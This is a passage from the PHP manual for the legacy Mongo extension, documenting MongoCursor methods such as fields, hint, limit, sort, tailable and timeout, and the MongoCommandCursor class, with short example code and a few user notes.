  ["nscanned"]=>
  float(4)
  ["n"]=>
  int(4)
  ["scanAndOrder"]=>
  int(1)
  ["millis"]=>
  int(3)
  ["allPlans"]=>
  array(2) {
    [0]=>
    array(3) {
      ["cursor"]=>
      string(15) "BtreeCursor x_1"
      ["startKey"]=>
      array(1) {
        ["x"]=>
        int(1)
      }
      ["endKey"]=>
      array(1) {
        ["x"]=>
        int(1)
      }
    }
    [1]=>
    array(3) {
      ["cursor"]=>
      string(11) "BasicCursor"
      ["startKey"]=>
      array(0) {
      }
      ["endKey"]=>
      array(0) {
      }
    }
  }
}

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

See Also

MongoDB core docs on » explain.

User Contributed Notes

There are no user contributed notes for this page.


Sets the fields for a query

  • « MongoCursor::explain
  • MongoCursor::getNext »
  • PHP Manual
  • MongoCursor
  • Sets the fields for a query

MongoCursor::fields

(PECL mongo >=1.0.6)

MongoCursor::fields — Sets the fields for a query

Description

public MongoCursor MongoCursor::fields ( array $f )

Fields are specified by "fieldname" : bool. TRUE indicates that a field should be returned, FALSE indicates that it should not be returned. You can also use 1 and 0 instead of TRUE and FALSE.

Thus, to return only the "summary" field, one could say:

<?php

$cursor->fields(array("summary" => true));

?>

To return all fields except the "hidden" field:

<?php

$cursor->fields(array("hidden" => false));

?>

Parameters

f

Fields to return (or not return).

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating or a scalar argument is given.

User Contributed Notes

There are no user contributed notes for this page.


Return the next object to which this cursor points, and advance the cursor

  • « MongoCursor::fields
  • MongoCursor::getReadPreference »
  • PHP Manual
  • MongoCursor
  • Return the next object to which this cursor points, and advance the cursor

MongoCursor::getNext

(PECL mongo >=0.9.0)

MongoCursor::getNext — Return the next object to which this cursor points, and advance the cursor

Description

public array MongoCursor::getNext ( void )

This is identical to the function:

<?php

public function getNext() {
    $this->next();
    return $this->current();
}

?>

Parameters

This function has no parameters.

Return Values

Returns the next object.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.


Get the read preference for this query

  • « MongoCursor::getNext
  • MongoCursor::hasNext »
  • PHP Manual
  • MongoCursor
  • Get the read preference for this query

MongoCursor::getReadPreference

(PECL mongo >=1.3.3)

MongoCursor::getReadPreference — Get the read preference for this query

Description

public array MongoCursor::getReadPreference ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the read preference. The array contains the values type for the string read preference mode (corresponding to the MongoClient constants), and tagsets containing a list of all tag set criteria. If no tag sets were specified, tagsets will not be present in the array.

Examples

Example #1 MongoCursor::getReadPreference() return value example

<?php

$m = new MongoClient();
$cursor = $m->test->users->find();
$cursor->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($cursor->getReadPreference());
?>

The above example will output:

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

See Also

  • The read preferences documentation.
  • MongoCursor::setReadPreference() - Set the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


Checks if there are any more elements in this cursor

  • « MongoCursor::getReadPreference
  • MongoCursor::hint »
  • PHP Manual
  • MongoCursor
  • Checks if there are any more elements in this cursor

MongoCursor::hasNext

(PECL mongo >=0.9.0)

MongoCursor::hasNext — Checks if there are any more elements in this cursor

Description

public bool MongoCursor::hasNext ( void )

Parameters

This function has no parameters.

Return Values

Returns if there is another element.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.


Gives the database a hint about the query

  • « MongoCursor::hasNext
  • MongoCursor::immortal »
  • PHP Manual
  • MongoCursor
  • Gives the database a hint about the query

MongoCursor::hint

(PECL mongo >=0.9.0)

MongoCursor::hint — Gives the database a hint about the query

Description

public MongoCursor MongoCursor::hint ( mixed $index )

Parameters

index

Index to use for the query. If a string is passed, it should correspond to an index name. If an array or object is passed, it should correspond to the specification used to create the index (i.e. the first argument to MongoCollection::ensureIndex()).

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Changelog

Version | Description
1.4.0 | The index argument now supports index names as string values. In versions before 1.4.0, only array or object values were accepted.

User Contributed Notes

There are no user contributed notes for this page.


Sets whether this cursor will timeout

  • « MongoCursor::hint
  • MongoCursor::info »
  • PHP Manual
  • MongoCursor
  • Sets whether this cursor will timeout

MongoCursor::immortal

(PECL mongo >=1.0.1)

MongoCursor::immortal — Sets whether this cursor will timeout

Description

public MongoCursor MongoCursor::immortal ([ bool $liveForever = true ] )

After remaining idle on the server for some amount of time, cursors, by default, "die." This is generally the behavior one wants. The database cleans up a cursor once all of its results have been sent to the client, but if the client doesn't request all of the results, the cursor will languish there, taking up resources. Thus, after a few minutes, the cursor "times out" and the database assumes the client has gotten everything it needs and cleans up its the cursor's resources.

If, for some reason, you need a cursor to hang around for a long time, you can prevent the database from cleaning it up by using this method. However, if you make a cursor immortal, you need to iterate through all of its results (or at least until MongoCursor::dead() returns TRUE) or the cursor will hang around the database forever, taking up resources.

Parameters

liveForever

If the cursor should be immortal.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

fastest963 at gmail dot com 09-Jul-2013 09:36
Calling immortal(false), in order to remove the NO_TIMEOUT flag from the cursor, seems to crash with "Fatal error: Exception thrown without a stack frame in Unknown on line 0". I'm running PHP 5.2.17 and MongoDB driver 1.1.4.
iknox {at} info.com 15-Feb-2012 07:48
Note:: There there is an important distinction between timeout and immortal!
Timeout indicates the time to wait on the _client_ side while immortal sets the cursor on the server side.

It is especially useful for large result sets in sharded environments.


Gets the query, fields, limit, and skip for this cursor

  • « MongoCursor::immortal
  • MongoCursor::key »
  • PHP Manual
  • MongoCursor
  • Gets the query, fields, limit, and skip for this cursor

MongoCursor::info

(PECL mongo >=1.0.5)

MongoCursor::info — Gets the query, fields, limit, and skip for this cursor

Description

public array MongoCursor::info ( void )

This can be called before or after the query.

Parameters

This function has no parameters.

Return Values

Returns the namespace, limit, skip, query, and fields for this cursor.

Changelog

Version | Description
1.1.0 | Added a number of other fields, including id (the cursor id), at (the driver's counter of which document is current), numReturned (the number returned by the server in the current batch), and server (which server the query was sent to—useful in conjunction with Read Preferences.
1.0.10 | Added started_iterating field, a boolean indicating if cursor is pre- or post-query.

Examples

Example #1 MongoCursor::info() example

<?php

$m = new MongoClient();
$cursor = $m->foo->bar->find(array("x" => 4), array("y" => false));
var_dump($cursor->info());

?>

The above example will output something similar to:

array(5) {
  ["ns"]=>
  string(7) "foo.bar"
  ["limit"]=>
  int(0)
  ["skip"]=>
  int(0)
  ["query"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["fields"]=>
  array(1) {
    ["y"]=>
    int(0)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the current result's _id

  • « MongoCursor::info
  • MongoCursor::limit »
  • PHP Manual
  • MongoCursor
  • Returns the current result's _id

MongoCursor::key

(PECL mongo >=0.9.0)

MongoCursor::key — Returns the current result's _id

Description

public string MongoCursor::key ( void )

Parameters

This function has no parameters.

Return Values

The current result's _id as a string.

User Contributed Notes

There are no user contributed notes for this page.


Limits the number of results returned

  • « MongoCursor::key
  • MongoCursor::maxTimeMS »
  • PHP Manual
  • MongoCursor
  • Limits the number of results returned

MongoCursor::limit

(PECL mongo >=0.9.0)

MongoCursor::limit — Limits the number of results returned

Description

public MongoCursor MongoCursor::limit ( int $num )

Parameters

num

The number of results to return.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

See Also

  • MongoDB core docs on » limit.
  • MongoCursor::batchSize() - Limits the number of elements returned in one batch.
  • MongoCursor::skip() - Skips a number of results

User Contributed Notes

vinicius at codemakers dot com dot br 24-Dec-2013 11:49
//Show only unique result

$cursor = $collection->find();
$cursor->limit(1);


Sets a server-side timeout for this query

  • « MongoCursor::limit
  • MongoCursor::next »
  • PHP Manual
  • MongoCursor
  • Sets a server-side timeout for this query

MongoCursor::maxTimeMS

(PECL mongo >=1.5.0)

MongoCursor::maxTimeMS — Sets a server-side timeout for this query

Description

public MongoCursor MongoCursor::maxTimeMS ( int $ms )

Specifies a cumulative time limit in milliseconds to be allowed by the server for processing operations on the cursor.

Parameters

ms

Specifies a cumulative time limit in milliseconds to be allowed by the server for processing operations on the cursor.

Return Values

This cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Causes methods that fetch results to throw a MongoExecutionTimeoutException if the query takes longer than the specified number of milliseconds in processing time.

Examples

Example #1 MongoCursor::maxTimeMS() example

In the following example, the server will abort the query if the cursor requires more than two seconds in processing time to return its results.

<?php

$cursor = $collection->find();
$cursor->maxTimeMS(2000);

try {
    $results = iterator_to_array($cursor);
} catch (MongoExecutionTimeoutException $e) {
    echo "query took too long!";
}

?>

Notes

Warning

Unlike MongoCursor::timeout(), which specifies a client-side timeout, MongoCursor::maxTimeMS() can be used to cause the MongoDB server to abort long-running queries. This timeout is cumulative for the lifetime of the cursor (i.e. each batch will contribute to this time limit). The timeout only considers processing time; idle time is not considered.

User Contributed Notes

There are no user contributed notes for this page.


Advances the cursor to the next result

  • « MongoCursor::maxTimeMS
  • MongoCursor::partial »
  • PHP Manual
  • MongoCursor
  • Advances the cursor to the next result

MongoCursor::next

(PECL mongo >=0.9.0)

MongoCursor::next — Advances the cursor to the next result

Description

public void MongoCursor::next ( void )

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.


If this query should fetch partial results from mongos if a shard is down

  • « MongoCursor::next
  • MongoCursor::reset »
  • PHP Manual
  • MongoCursor
  • If this query should fetch partial results from mongos if a shard is down

MongoCursor::partial

(PECL mongo >=1.2.0)

MongoCursor::partial — If this query should fetch partial results from mongos if a shard is down

Description

public MongoCursor MongoCursor::partial ([ bool $okay = true ] )

This option allows mongos to send partial query results if a shard is unreachable. This is only applicable when running a sharded MongoDB cluster and connecting to a mongos.

If a shard goes down and a query needs to be sent to that shard, mongos will return the results (if any) from shards it already contacted, then an error message that it could not reach the shard (a MongoCursorException in PHP). If you would like to get whatever results mongos can provide and no exception, you can use this method. Note that this means that you won't have an indication that a shard is down in your query response.

This has no effect on the query if all shards are reachable. This flag was implemented in MongoDB version 1.7.5, so will only work with that version and higher.

Parameters

okay

If receiving partial results is okay.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

There are no user contributed notes for this page.


Clears the cursor

  • « MongoCursor::partial
  • MongoCursor::rewind »
  • PHP Manual
  • MongoCursor
  • Clears the cursor

MongoCursor::reset

(PECL mongo >=0.9.0)

MongoCursor::reset — Clears the cursor

Description

public void MongoCursor::reset ( void )

Parameters

This function has no parameters.

Return Values

NULL.

User Contributed Notes

fastest963 at gmail dot com 05-Jan-2013 04:45
If you call reset() on a cursor and never call hasNext/getNext/etc it will essentially act as a "close" method. This is useful if you didn't finish fetching all the data from a cursor but don't want it to linger around till MongoDB decides to kill it.


Returns the cursor to the beginning of the result set

  • « MongoCursor::reset
  • MongoCursor::setFlag »
  • PHP Manual
  • MongoCursor
  • Returns the cursor to the beginning of the result set

MongoCursor::rewind

(PECL mongo >=0.9.0)

MongoCursor::rewind — Returns the cursor to the beginning of the result set

Description

public void MongoCursor::rewind ( void )

This is identical to the function:

<?php

public function rewind() {
    $this->reset();
    $this->next();
}

?>

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.


Sets arbitrary flags in case there is no method available the specific flag

  • « MongoCursor::rewind
  • MongoCursor::setReadPreference »
  • PHP Manual
  • MongoCursor
  • Sets arbitrary flags in case there is no method available the specific flag

MongoCursor::setFlag

(PECL mongo >=1.2.11)

MongoCursor::setFlag — Sets arbitrary flags in case there is no method available the specific flag

Description

public MongoCursor MongoCursor::setFlag ( int $flag [, bool $set = true ] )

The MongoCursor class has several methods for setting flags on the query object. This method is available in case the MongoDB wire protocol has acquired a new flag, and the driver has not been updated with a method for this new flag. In all other cases, the method should be used. See the "See also" section for available methods.

Parameters

flag

Which flag to set. You can not set flag 6 (EXHAUST) as the driver does not know how to handle them. You will get a warning if you try to use this flag. For available flags, please refer to the wire protocol » documentation.

set

Whether the flag should be set (TRUE) or unset (FALSE).

Return Values

Returns this cursor.

Errors/Exceptions

Shows a warning when an unsupport flag is attempted to be set.

Changelog

Version | Description
1.4.0 | Support for flag 3 (OPLOG_REPLAY) is added. Versions before 1.4.0 would throw a warning saying that the flag is unsupported.

Examples

Example #1 MongoCursor::setFlag() example

<?php
$m = new MongoClient( 'mongodb://localhost:13000', array( 'replSet' => 'seta' ) );
$c = $m->local->selectCollection( 'oplog.rs' );
$cursor = $c->find( array( 'ns' => 'demo.article', 'op' => 'i' ) );
$cursor->setFlag( 1, true ); // sets the tailable flag
$cursor->setFlag( 5, true ); // sets the await data flag
?>

See Also

  • MongoCursor::tailable() - Sets whether this cursor will be left open after fetching the last results
  • MongoCursor::immortal() - Sets whether this cursor will timeout
  • MongoCursor::awaitData() - Sets whether this cursor will wait for a while for a tailable cursor to return more data
  • MongoCursor::partial() - If this query should fetch partial results from mongos if a shard is down
  • MongoDB core docs on» wire protocol query flags

User Contributed Notes

There are no user contributed notes for this page.


Set the read preference for this query

  • « MongoCursor::setFlag
  • MongoCursor::skip »
  • PHP Manual
  • MongoCursor
  • Set the read preference for this query

MongoCursor::setReadPreference

(PECL mongo >=1.3.3)

MongoCursor::setReadPreference — Set the read preference for this query

Description

public MongoCursor MongoCursor::setReadPreference ( string $read_preference [, array $tags ] )

Parameters

read_preference

The read preference mode: MongoClient::RP_PRIMARY, MongoClient::RP_PRIMARY_PREFERRED, MongoClient::RP_SECONDARY, MongoClient::RP_SECONDARY_PREFERRED, or MongoClient::RP_NEAREST.

tags

An array of zero or more tag sets, where each tag set is itself an array of criteria used to match tags on replica set members.

Return Values

Returns this cursor.

Errors/Exceptions

Emits E_WARNING if either parameter is invalid, or if one or more tag sets are provided with the MongoClient::RP_PRIMARY read preference mode.

Examples

Example #1 MongoCursor::setReadPreference() tag set array syntax example

<?php

$m = new MongoClient();
$cursor = $m->test->users->find();

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$cursor->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

See Also

  • The read preferences documentation.
  • MongoCursor::getReadPreference() - Get the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


Skips a number of results

  • « MongoCursor::setReadPreference
  • MongoCursor::slaveOkay »
  • PHP Manual
  • MongoCursor
  • Skips a number of results

MongoCursor::skip

(PECL mongo >=0.9.0)

MongoCursor::skip — Skips a number of results

Description

public MongoCursor MongoCursor::skip ( int $num )

Parameters

num

The number of results to skip.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

See Also

  • MongoCursor::limit() - Limits the number of results returned

User Contributed Notes

There are no user contributed notes for this page.


Sets whether this query can be done on a secondary [deprecated]

  • « MongoCursor::skip
  • MongoCursor::snapshot »
  • PHP Manual
  • MongoCursor
  • Sets whether this query can be done on a secondary [deprecated]

MongoCursor::slaveOkay

(PECL mongo >=0.9.4)

MongoCursor::slaveOkay — Sets whether this query can be done on a secondary [deprecated]

Description

public MongoCursor MongoCursor::slaveOkay ([ bool $okay = true ] )
Warning

This method is deprecated since version 1.5.0. Instead, please use MongoCursor::setReadPreference() and Read Preferences.

Calling this will make the driver route reads to secondaries if:

  • You are using a replica set, and
  • You created a MongoClient instance using the option "replicaSet" => "setName", and
  • There is a healthy secondary that can be reached by the driver.
You can check which server was used for this query by calling MongoCursor::info() after running the query. It's server field will show which server the query was sent to.

Note that you should use this function even if you do not use the automatic routing to secondaries. If you connect directly to a secondary in a replica set, you still need to call this function, which basically tells the database that you are aware that you might be getting older data and you're okay with that. If you do not call this, you'll get "not master" errors when you try to query.

This method will override the static class variable
MongoCursor::$slaveOkay.  It will also override
Mongo::setSlaveOkay(),
MongoDB::setSlaveOkay() and
MongoCollection::setSlaveOkay().

Parameters

okay

If it is okay to query the secondary.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::slaveOkay() example

<?php

MongoCursor::$slaveOkay = false;

// cannot query secondary
$cursor = $collection->find();

// can query secondary
$cursor = $collection->find()->slaveOkay();

MongoCursor::$slaveOkay = true;

// can query secondary
$cursor = $collection->find();

// cannot query secondary
$cursor = $collection->find()->slaveOkay(false);

?>

See Also

  • Read Preferences
  • MongoCursor::setReadPreference() - Set the read preference for this query
  • MongoCursor::getReadPreference() - Get the read preference for this query

Changelog

Version | Description
1.5.0 | This method has been deprecated in favour of MongoCursor::setReadPreference() and Read Preferences.

User Contributed Notes

There are no user contributed notes for this page.


Use snapshot mode for the query

  • « MongoCursor::slaveOkay
  • MongoCursor::sort »
  • PHP Manual
  • MongoCursor
  • Use snapshot mode for the query

MongoCursor::snapshot

(PECL mongo >=0.9.4)

MongoCursor::snapshot — Use snapshot mode for the query

Description

public MongoCursor MongoCursor::snapshot ( void )

Use snapshot mode for the query. Snapshot mode ensures that a document will not be returned more than once because an intervening write operation results in a move of the document. Documents inserted or deleted during the lifetime of the cursor may or may not be returned, irrespective of snapshot mode.

Queries with short responses (less than 1MB) are always effectively snapshotted.

Snapshot mode may not be used with sorting, explicit hints, or queries on sharded collections.

Parameters

This function has no parameters.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

See Also

MongoDB core docs on » $snapshot operator.

User Contributed Notes

There are no user contributed notes for this page.


Sorts the results by given fields

  • « MongoCursor::snapshot
  • MongoCursor::tailable »
  • PHP Manual
  • MongoCursor
  • Sorts the results by given fields

MongoCursor::sort

(PECL mongo >=0.9.0)

MongoCursor::sort — Sorts the results by given fields

Description

public MongoCursor MongoCursor::sort ( array $fields )

Parameters

fields

An array of fields by which to sort. Each element in the array has as key the field name, and as value either 1 for ascending sort, or -1 for descending sort.

Each result is first sorted on the first field in the array, then (if it exists) on the second field in the array, etc. This means that the order of the fields in the fields array is important. See also the examples section.

Return Values

Returns the same cursor that this method was called on.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::sort() example

<?php
// Sort on field x, ascending
$cursor->sort(array('x' => 1));

// The order in the associative array is important. For instance, these two
// examples will yield different results:

// Sort on date ascending and age descending
$cursor->sort(array('date' => 1, 'age' => -1));

// Sort on age descending and date ascending
$cursor->sort(array('age' => -1, 'date' => 1));
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets whether this cursor will be left open after fetching the last results

  • « MongoCursor::sort
  • MongoCursor::timeout »
  • PHP Manual
  • MongoCursor
  • Sets whether this cursor will be left open after fetching the last results

MongoCursor::tailable

(PECL mongo >=0.9.4)

MongoCursor::tailable — Sets whether this cursor will be left open after fetching the last results

Description

public MongoCursor MongoCursor::tailable ([ bool $tail = true ] )

Mongo has a feature known as tailable cursors which are similar to the Unix "tail -f" command.

Tailable means cursor is not closed when the last data is retrieved. Rather, the cursor marks the final object's position. you can resume using the cursor later, from where it was located, if more data were received.

Like any "latent cursor", the cursor may become invalid at some point -- for example if that final object it references were deleted. Thus, you should be prepared to requery if the cursor is MongoCursor::dead().

Parameters

tail

If the cursor should be tailable.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::tailable() example

<?php

$cursor = $collection->find()->tailable();

$results = array();

while (1) {
    if (!$cursor->hasNext()) {
        // we've read all the results, exit
        if ($cursor->dead()) {
            break;
        }
        // read all results so far, wait for more
        sleep(10);
    }
    else {
        $results[] = $cursor->getNext();
    }
}

?>

See Also

MongoDB core docs on » tailable cursors.

  • MongoCursor::awaitData() - Sets whether this cursor will wait for a while for a tailable cursor to return more data

User Contributed Notes

There are no user contributed notes for this page.


Sets a client-side timeout for this query

  • « MongoCursor::tailable
  • MongoCursor::valid »
  • PHP Manual
  • MongoCursor
  • Sets a client-side timeout for this query

MongoCursor::timeout

(PECL mongo >=1.0.3)

MongoCursor::timeout — Sets a client-side timeout for this query

Description

public MongoCursor MongoCursor::timeout ( int $ms )

A timeout can be set at any time and will affect subsequent queries on the cursor, including fetching more results from the database.

Parameters

ms

The number of milliseconds for the cursor to wait for a response. Use -1 to wait forever. By default, the cursor will wait 30000 milliseconds (30 seconds).

Return Values

This cursor.

Errors/Exceptions

Causes methods that fetch results to throw a MongoCursorTimeoutException if the query takes longer than the specified number of milliseconds.

Examples

Example #1 MongoCursor::timeout() example

In the following example, the driver will wait forever for the initial database response, and then wait 100ms for subsequent responses.

<?php

$cursor = $collection->find();
$cursor->timeout(-1);

/* $cursor->hasNext() executes the query. An infinite timeout has been set, so
 * the driver will wait as long as necessary for a response.
 */
while ($cursor->hasNext()) {
    $cursor->timeout(100);

    /* A timeout has now been set, so if the cursor needs to get more results
     * from the database, it will only wait 100ms for a response.
     */
    try {
        print_r($cursor->getNext());
    } catch (MongoCursorTimeoutException $e) {
        echo "query took too long!";
    }
}

?>

Notes

Warning

This does not cause the MongoDB server to cancel long-running operations; it only instructs the driver to stop waiting for a response and throw a MongoCursorTimeoutException after a set time. If you need to specify a server-side timeout for a query, consider using MongoCursor::maxTimeMS().

See Also

  • The socketTimeoutMS option for MongoClient::__construct()

User Contributed Notes

Robert Ross 21-Apr-2011 08:10
To set timeouts for all queries, do this:

MongoCursor::$timeout = -1 (-1 is no timeout)


Checks if the cursor is reading a valid result.

  • « MongoCursor::timeout
  • MongoCommandCursor »
  • PHP Manual
  • MongoCursor
  • Checks if the cursor is reading a valid result.

MongoCursor::valid

(PECL mongo >=0.9.0)

MongoCursor::valid — Checks if the cursor is reading a valid result.

Description

public bool MongoCursor::valid ( void )

Parameters

This function has no parameters.

Return Values

If the current result is not null.

User Contributed Notes

There are no user contributed notes for this page.


The MongoCommandCursor class

(PECL mongo >=1.5.0)

Introduction

A command cursor is used to iterate through the results of a database command. A command cursor is similar to a normal MongoCursor except that you use it for iterating through the result of a server command instead of a the result of a query.

You don't generally create cursors using the MongoCommandCursor constructor, you get a new cursor by calling MongoCollection::commandCursor().

Using a command cursor instead of MongoDB::command() means that you can iterate over a much larger resultset as the return of MongoDB::command() is limited to the maximum document size (currently 16MB).

Note that the cursor does not "contain" the database command results, it just manages them. Thus, if you print a cursor (with, say, var_dump() or print_r()), you'll just get the cursor object, not your documents.

Cursor Stages

A MongoCommandCursor has two "life stages": pre- and post- query. When a cursor is created, it has not yet contacted the database, so it is in its pre-query state. In this state, the client can further specify what they want the query to do, including configuring the batch size.

When the client attempts to get a result (by calling MongoCommandCursor::next(), directly or indirectly), the cursor moves into the post-command stage. At this point, the command has been executed by the database and only its batch size can be configured.

Example #1 Adding options to MongoCommandCursor

<?php

$cursor = new MongoCommandCursor(...);

// database has not yet been queried, so more options can be added
$cursor = $cursor->batchSize( 4 );

var_dump($cursor->getNext());
// now database has been queried and more options cannot be added
?>

Class synopsis

MongoCommandCursor implements Iterator , MongoCursorInterface {
/* Methods */
public MongoCommandCursor batchSize ( int $batchSize )
public __construct ( MongoClient $connection , string $ns [, array $command = array() ] )
public createFromDocument ( MongoClient $connection , string $hash , array $document )
public array current ( void )
public bool dead ( void )
public array info ( void )
public string key ( void )
public void next ( void )
public array rewind ( void )
public bool valid ( void )
}

See Also

  • MongoDb::command()
  • MongoCollection::commandCursor()

Table of Contents

  • MongoCommandCursor::batchSize — Limits the number of elements returned in one batch.
  • MongoCommandCursor::__construct — Create a new command cursor
  • MongoCommandCursor::createFromDocument — Create a new command cursor from an existing cursor document
  • MongoCommandCursor::current — Returns the current element
  • MongoCommandCursor::dead — Checks if there are documents that have not been sent yet from the database for this cursor
  • MongoCommandCursor::info — Gets the query, fields, limit, and skip for this cursor
  • MongoCommandCursor::key — Returns the current result's _id
  • MongoCommandCursor::next — Advances the cursor to the next result
  • MongoCommandCursor::rewind — Executes the command and resets the cursor to the start of the result set
  • MongoCommandCursor::valid — Fetches a new result item, and returns whether it could

User Contributed Notes

There are no user contributed notes for this page.


Limits the number of elements returned in one batch.

  • « MongoCommandCursor
  • MongoCommandCursor::__construct »
  • PHP Manual
  • MongoCommandCursor
  • Limits the number of elements returned in one batch.

MongoCommandCursor::batchSize

(PECL mongo >=1.5.0)

MongoCommandCursor::batchSize — Limits the number of elements returned in one batch.

Description

public MongoCommandCursor MongoCommandCursor::batchSize ( int $batchSize )

A cursor typically fetches a batch of result objects and store them locally. This method sets the batchSize value to configure the amount of documents retrieved from the server in one data packet.

Parameters

batchSize

The number of results to return per batch. Each batch requires a round-trip to the server.

This cannot override MongoDB's limit on the amount of data it will return to the client (i.e., if you set batch size to 1,000,000,000, MongoDB will still only return 4-16MB of results per batch).

Return Values

Returns this cursor.

Examples

Example #1 MongoCommandCursor::batchSize()

<?php
$commandCursor->batchSize(20);
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a new command cursor

  • « MongoCommandCursor::batchSize
  • MongoCommandCursor::createFromDocument »
  • PHP Manual
  • MongoCommandCursor
  • Create a new command cursor

MongoCommandCursor::__construct

(PECL mongo >=1.5.0)

MongoCommandCursor::__construct — Create a new command cursor

Description

public MongoCommandCursor::__construct ( MongoClient $connection , string $ns [, array $command = array() ] )

In many instances, you do not have to create a MongoCommandCursor manually, but instead one of the helper functions such as MongoCollection::aggregateCursor() and MongoCollection::parallelCollectionScan(). However, if the server adds new commands that can return cursors, then manually creating MongoCommandCursor objects is required. However, it might be easier to use the MongoCommandCursor::createFromDocument() instead.

Parameters

connection

Database connection.

ns

Full name of database and collection.

command

Database command.

Return Values

Returns the new cursor.

User Contributed Notes

There are no user contributed notes for this page.


Create a new command cursor from an existing cursor document

  • « MongoCommandCursor::__construct
  • MongoCommandCursor::current »
  • PHP Manual
  • MongoCommandCursor
  • Create a new command cursor from an existing cursor document

MongoCommandCursor::createFromDocument

(PECL mongo >=1.5.0)

MongoCommandCursor::createFromDocument — Create a new command cursor from an existing cursor document

Description

public MongoCommandCursor::createFromDocument ( MongoClient $connection , string $hash , array $document )

Use this method if you have a raw command result with cursor information in it.

Parameters

connection

Database connection.

hash

The connection has, as obtained through the third by-reference argument to MongoDB:command().

document

Document with cursor information in it. This document needs to contain the id, ns and firstBatch fields. Such a document is obtained by calling the MongoDB:command() with appropriate arguments to return a cursor, and not just a result. See the example below.

Return Values

Returns the new cursor.

Examples

Example #1 MongoCommandCursor::createFromDocument()

<?php
$m = new MongoClient;
$d = $m->demo;

// setup the pipeline
$pipeline = [
    [ '$group' => [
        '_id' => '$country_code',
        'timezones' => [ '$addToSet' => '$timezone' ]
    ] ],
    [ '$sort' => [ '_id' => 1 ] ],
];

// run the command. The "cursor" option below instructs the server to return a cursor information document instead of results
$r = $d->command(
    [
        'aggregate' => 'cities',
        'pipeline' => $pipeline,
        'cursor' => [ 'batchSize' => 1 ],
    ],
    null,
    $hash
);

// Show result and hash
var_dump( $r, $hash );

// construct the command cursor
$cursor = MongoCommandCursor::createFromDocument( $m, $hash, $r );
?>

The above example will output something similar to:

array(2) {
["cursor"]=>
array(3) {
["id"]=>
object(MongoInt64)#5 (1) {
["value"]=>
string(12) "392143983421"
}
["ns"]=>
string(11) "demo.cities"
["firstBatch"]=>
array(1) {
[0]=>
array(2) {
["_id"]=>
string(2) "AD"
["timezones"]=>
array(1) {
[0]=>
string(14) "Europe/Andorra"
}
}
}
}
["ok"]=>
float(1)
}
string(25) "localhost:27017;-;.;17617"

As you can see, the returned cursor information has the id, ns and firstBatch fields.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • « MongoCommandCursor::createFromDocument
  • MongoCommandCursor::dead »
  • PHP Manual
  • MongoCommandCursor
  • Returns the current element

MongoCommandCursor::current

(PECL mongo >=1.5.0)

MongoCommandCursor::current — Returns the current element

Description

public array MongoCommandCursor::current ( void )

This returns NULL until MongoCommandCursor::next() is called.

Parameters

This function has no parameters.

Return Values

The current result as an associative array.

User Contributed Notes

There are no user contributed notes for this page.


Checks if there are documents that have not been sent yet from the database for this cursor

  • « MongoCommandCursor::current
  • MongoCommandCursor::info »
  • PHP Manual
  • MongoCommandCursor
  • Checks if there are documents that have not been sent yet from the database for this cursor

MongoCommandCursor::dead

(PECL mongo >=1.5.0)

MongoCommandCursor::dead — Checks if there are documents that have not been sent yet from the database for this cursor

Description

public bool MongoCommandCursor::dead ( void )

This method checks whether the MongoCommandCursor cursor has been exhausted and hence can not return more results.

Parameters

This function has no parameters.

Return Values

Returns if there are more results that have not been sent to the client, yet.

User Contributed Notes

There are no user contributed notes for this page.


Gets the query, fields, limit, and skip for this cursor

  • « MongoCommandCursor::dead
  • MongoCommandCursor::key »
  • PHP Manual
  • MongoCommandCursor
  • Gets the query, fields, limit, and skip for this cursor

MongoCommandCursor::info

(PECL mongo >=1.5.0)

MongoCommandCursor::info — Gets the query, fields, limit, and skip for this cursor

Description

public array MongoCommandCursor::info ( void )

This can be called before or after the query.

Parameters

This function has no parameters.

Return Values

